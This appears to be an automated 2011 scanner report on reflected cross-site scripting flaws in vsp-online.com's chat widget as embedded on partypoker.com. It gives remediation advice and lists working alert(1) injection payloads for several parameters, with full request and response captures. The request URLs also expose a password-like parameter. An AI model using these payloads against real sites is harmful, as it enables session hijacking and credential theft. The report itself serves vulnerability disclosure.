Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the custom request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f5b21"%3balert(1)//4cc0698a96b was submitted in the custom parameter. This input was echoed as f5b21";alert(1)//4cc0698a96b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /vsp/mini.aspx?pw=TheChronic&user=partypoker&domain=www.partypoker.com&page=http%3A//www.partypoker.com/index-t1b1.html&referral=90&custom=f5b21"%3balert(1)//4cc0698a96b&lang=en HTTP/1.1 Host: vsp-online.com Proxy-Connection: keep-alive Referer: http://www.partypoker.com/index-t1b1.html User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: public, max-age=28800 Content-Type: text/html; charset=utf-8 Expires: Sat, 20 Aug 2011 21:32:36 GMT Last-Modified: Sat, 20 Aug 2011 13:32:36 GMT Vary: * Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET P3P: policyref="http://vsp-online.com/W3c/Policy.xml", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Date: Sat, 20 Aug 2011 13:32:35 GMT Content-Length: 5557
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title> TA Visi ...[SNIP]... artypoker'; HTMLPath = 'partypoker'; var HostingDomain = 'www.partypoker.com'; var HostingPage = 'http://www.partypoker.com/index-t1b1.html'; var AutomatedStart = false; ClientValues["Custom"] = "f5b21";alert(1)//4cc0698a96b"; </script> ...[SNIP]...
The value of the domain request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d51e9'%3balert(1)//dc0bfa9b034 was submitted in the domain parameter. This input was echoed as d51e9';alert(1)//dc0bfa9b034 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /vsp/mini.aspx?pw=TheChronic&user=partypoker&domain=www.partypoker.comd51e9'%3balert(1)//dc0bfa9b034&page=http%3A//www.partypoker.com/index-t1b1.html&referral=90&custom=%5BCustom%7C3289037%5D%5BIdentifiler%7Cen_US%5D&lang=en HTTP/1.1 Host: vsp-online.com Proxy-Connection: keep-alive Referer: http://www.partypoker.com/index-t1b1.html User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: public, max-age=28800 Content-Type: text/html; charset=utf-8 Expires: Sat, 20 Aug 2011 21:32:31 GMT Last-Modified: Sat, 20 Aug 2011 13:32:31 GMT Vary: * Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET P3P: policyref="http://vsp-online.com/W3c/Policy.xml", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Date: Sat, 20 Aug 2011 13:32:31 GMT Content-Length: 5677
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title> TA Visi ...[SNIP]... var EmailCollection = false;
The value of the domain request parameter is copied into a JavaScript inline comment. The payload 534a6*/alert(1)//efb29201ef1 was submitted in the domain parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /vsp/mini.aspx?pw=TheChronic&user=partypoker&domain=www.partypoker.com534a6*/alert(1)//efb29201ef1&page=http%3A//www.partypoker.com/index-t1b1.html&referral=90&custom=%5BCustom%7C3289037%5D%5BIdentifiler%7Cen_US%5D&lang=en HTTP/1.1 Host: vsp-online.com Proxy-Connection: keep-alive Referer: http://www.partypoker.com/index-t1b1.html User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: public, max-age=28800 Content-Type: text/html; charset=utf-8 Expires: Sat, 20 Aug 2011 21:32:31 GMT Last-Modified: Sat, 20 Aug 2011 13:32:31 GMT Vary: * Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET P3P: policyref="http://vsp-online.com/W3c/Policy.xml", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Date: Sat, 20 Aug 2011 13:32:31 GMT Content-Length: 5677
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title> TA Visi ...[SNIP]... sh == "#Start") { PageView = true; Mini.GetNewPopupID(SetPopupID); TalkToJenny();
The value of the page request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 472b2'%3balert(1)//bee7b9863d2 was submitted in the page parameter. This input was echoed as 472b2';alert(1)//bee7b9863d2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /vsp/mini.aspx?pw=TheChronic&user=partypoker&domain=www.partypoker.com&page=http%3A//www.partypoker.com/index-t1b1.html472b2'%3balert(1)//bee7b9863d2&referral=90&custom=%5BCustom%7C3289037%5D%5BIdentifiler%7Cen_US%5D&lang=en HTTP/1.1 Host: vsp-online.com Proxy-Connection: keep-alive Referer: http://www.partypoker.com/index-t1b1.html User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: public, max-age=28800 Content-Type: text/html; charset=utf-8 Expires: Sat, 20 Aug 2011 21:32:33 GMT Last-Modified: Sat, 20 Aug 2011 13:32:33 GMT Vary: * Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET P3P: policyref="http://vsp-online.com/W3c/Policy.xml", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Date: Sat, 20 Aug 2011 13:32:33 GMT Content-Length: 5649
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title> TA Visi ...[SNIP]... 4'; HeaderHeight = '72'; PatternPath = 'patterns/custom/partypoker'; HTMLPath = 'partypoker'; var HostingDomain = 'www.partypoker.com'; var HostingPage = 'http://www.partypoker.com/index-t1b1.html472b2';alert(1)//bee7b9863d2'; var AutomatedStart = false; ClientValues["Custom"] = "3289037"; ClientValues["Identifiler"] = "en_US"; </script> ...[SNIP]...
The value of the referral request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1a050'%3balert(1)//f883bbe57ce was submitted in the referral parameter. This input was echoed as 1a050';alert(1)//f883bbe57ce in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /vsp/mini.aspx?pw=TheChronic&user=partypoker&domain=www.partypoker.com&page=http%3A//www.partypoker.com/index-t1b1.html&referral=901a050'%3balert(1)//f883bbe57ce&custom=%5BCustom%7C3289037%5D%5BIdentifiler%7Cen_US%5D&lang=en HTTP/1.1 Host: vsp-online.com Proxy-Connection: keep-alive Referer: http://www.partypoker.com/index-t1b1.html User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: public, max-age=28800 Content-Type: text/html; charset=utf-8 Expires: Sat, 20 Aug 2011 21:32:35 GMT Last-Modified: Sat, 20 Aug 2011 13:32:35 GMT Vary: * Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET P3P: policyref="http://vsp-online.com/W3c/Policy.xml", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Date: Sat, 20 Aug 2011 13:32:34 GMT Content-Length: 5649
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title> TA Visi ...[SNIP]... <script language="javascript" type="text/javascript"> var ExposureID = ''; var PopupID = ''; var UserID = ''; InitializeTimer(); NickName = ''; var Referral = '901a050';alert(1)//f883bbe57ce'; var User = '216'; var UniqueUserIndex = '85'; var Engine = '0'; var Template = '0'; var Niche = '0'; var Industry = '14'; var MinimumAge = '18'; var Brand = "Party Poker"; var SimulationNam ...[SNIP]...
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0 Host: vsp-online.com
Response
HTTP/1.1 200 OK Content-Type: text/plain Last-Modified: Thu, 19 Feb 2009 10:55:39 GMT Accept-Ranges: bytes ETag: "96ddfa998092c91:0" Server: Microsoft-IIS/7.0 X-Powered-By: ASP.NET P3P: policyref="http://vsp-online.com/W3c/Policy.xml", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Date: Sat, 20 Aug 2011 13:32:17 GMT Connection: close Content-Length: 99
# robots.txt for http://www.vsp-online.com/
User-agent: * Disallow: /vsp/ Disallow: /test/
3. Content type incorrectly statedprevious There are 2 instances of this issue:
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
The response contains the following Content-type statement:
Content-Type: text/html; charset=utf-8
The response states that it contains HTML. However, it actually appears to contain CSS.
Request
GET /VSPWindow.js.aspx HTTP/1.1 Host: vsp-online.com Proxy-Connection: keep-alive Referer: http://www.partypoker.com/index-t1b1.html User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET P3P: policyref="http://vsp-online.com/W3c/Policy.xml", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Date: Sat, 20 Aug 2011 13:32:15 GMT Content-Length: 49183
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/plain; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET P3P: policyref="http://vsp-online.com/W3c/Policy.xml", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Date: Sat, 20 Aug 2011 13:32:23 GMT Content-Length: 31
{"value":"59118909|User_83572"}
Report generated by XSS.CX at Sat Aug 20 07:40:46 GMT-06:00 2011.